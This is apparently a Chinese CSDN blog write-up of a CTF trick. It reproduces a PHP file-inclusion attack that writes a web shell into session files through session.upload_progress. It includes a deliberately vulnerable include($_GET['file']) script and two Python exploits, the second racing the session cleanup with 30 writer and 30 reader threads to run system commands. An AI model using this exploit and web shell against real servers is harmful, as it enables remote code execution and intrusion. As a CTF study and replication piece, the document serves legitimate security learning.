利用session.upload_progress进行文件包含

本文介绍了如何利用PHP的session.upload_progress特性来构造木马,并通过关闭session.upload_progress.cleanup配置,避免文件被删除。通过多线程并发写入和读取session文件,实现了条件竞争,成功绕过默认清理机制,执行了远程命令。实验中,使用Python发送POST请求写入木马,并在浏览器中触发执行。
摘要由CSDN通过智能技术生成

这次ciscn有一道web题考的就是这个知识点,但当时没有尝试去扫路径,被开头给的源码卡死了有点儿遗憾,不过还是想自己复现一下这个小trick。

先来看看php手册对此的描述。
在这里插入图片描述
我们可以post session.upload_progress参数,写入木马。
在这里插入图片描述
这个选项可以让我们自己定义文件名。
例如,控制phsession=flag,则文件名就变为/tmp/sess_flag
这里还有一个配置选项是默认开启的
session.upload_progress.cleanup,这个选项会让post进程结束时删掉所有session文件。
我们先在php.ini里面关掉这个配置,结合上面的内容写木马试试。
session.php

<?php
    $file = $_GET['file'];
    include($file);
    ?>

exp1.py

import io
import requests
import threading

sessid = 'aaaaaaa'

def write_session(session):
    url = '127.0.0.1/session.php'
    f = io.BytesIO(b'a' * 1024 * 50)
    resp = session.post( 'http://127.0.0.1/session.php?file=1.txt', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('fmyyy.txt',f)}, cookies={'PHPSESSID': sessid} )


if __name__ == '__main__':
    with requests.session() as session:
        write_session(session)

准备好了,运行exp1.py
来看看session文件目录多了什么。
在这里插入图片描述
多了个sess_aaaaaaa
看一下里面的内容。
在这里插入图片描述
可以看到,再开头这边木马已经被写入。我们在浏览器试试这个木马。
在这里插入图片描述
成功执行。

可以看到这个session是可以包含的,但session.upload_progress.cleanup这个配置是默认开启的,所以这里我们就需要利用条件竞争了。
在这里插入图片描述

import io
import requests
import threading
sessid = 'bbbbbbb'
data = {"cmd":"system('ls');"}
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post( 'http://127.0.0.1/session.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
    while True:
        resp = session.post('http://127.0.0.1/session.php?file=/Applications/phpstudy/Extensions/tmp/tmp/sess_'+sessid,data=data)
        if '1.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("[+++++++++++++]retry")
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30): 
            threading.Thread(target=write,args=(session,)).start()

        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()
  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值